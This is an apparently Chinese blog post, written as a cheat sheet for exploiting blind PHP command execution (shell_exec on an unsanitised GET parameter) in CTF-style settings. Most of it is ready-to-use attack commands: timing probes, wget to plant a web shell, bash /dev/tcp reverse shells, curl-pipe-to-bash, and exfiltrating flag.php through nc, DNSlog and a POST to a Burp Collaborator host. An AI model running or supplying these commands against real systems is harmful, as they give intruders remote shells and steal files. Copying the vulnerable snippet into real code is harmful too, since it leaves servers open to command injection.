背景
exec,shell_exec
等函数可以执行命令但没有回显,我们需要寻找方法来得到命令执行后的结果
<?php
highlight__file(__FILE__)
shell_exec($_GET[cmd]);
?>
判断命令是否执行
延时
利用sleep函数
cmd=ls|sleep 5
HTTP请求
目标主机通过向VPS发起HTTP
请求,VPS监听到请求则代表命令执行成功(注意:ping
命令不产生http请求)
VPS:nc -lvp 8888
目标主机:cmd=curl ip:8888
DNS请求
利用dnslog
利用方式
直接写入
利用cp命令:cp flag.php 1.txt
利用mv命令:mv flag.php 1.txt
利用>
输出结果到文件:ls > 1.txt
利用wget下载:wget http://ip/shell.txt > shell.php
或者wget http://ip/shell.txt -O shell.php
反弹shell
bash反弹
目标主机:
bash -i >& /dev/tcp/ip/8888 0>&1
VPS:
nc -lvp 8888
也可以将命令写入文件,之后在存在命令执行的地方输入curl ip|bash
即可反弹
外带数据
使用ceye或者dnslog
cmd=curl `命令`.域名
nc外带
目标主机:nc ip 8888 < flag.php
VPS:nc -lvp 8888
当tcp不能使用,-u
参数调整为udp
目标主机:nc -u ip 8888 < flag.php
VPS:nc -ulvp 8888
burp(Collaborator Client)
使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(
-X
指定发送一个POST请求,-F
指定要发送的文件)获取Collaborator Client分配给BURP的链接:
打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard
目标主机:
cmd=curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net
参考:
https://blog.csdn.net/weixin_33164837/article/details/112421828
https://h0ld1rs.github.io/2021/06/24/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%97%A0%E5%9B%9E%E6%98%BE/#burp-Collaborator-Client
发表评论 取消回复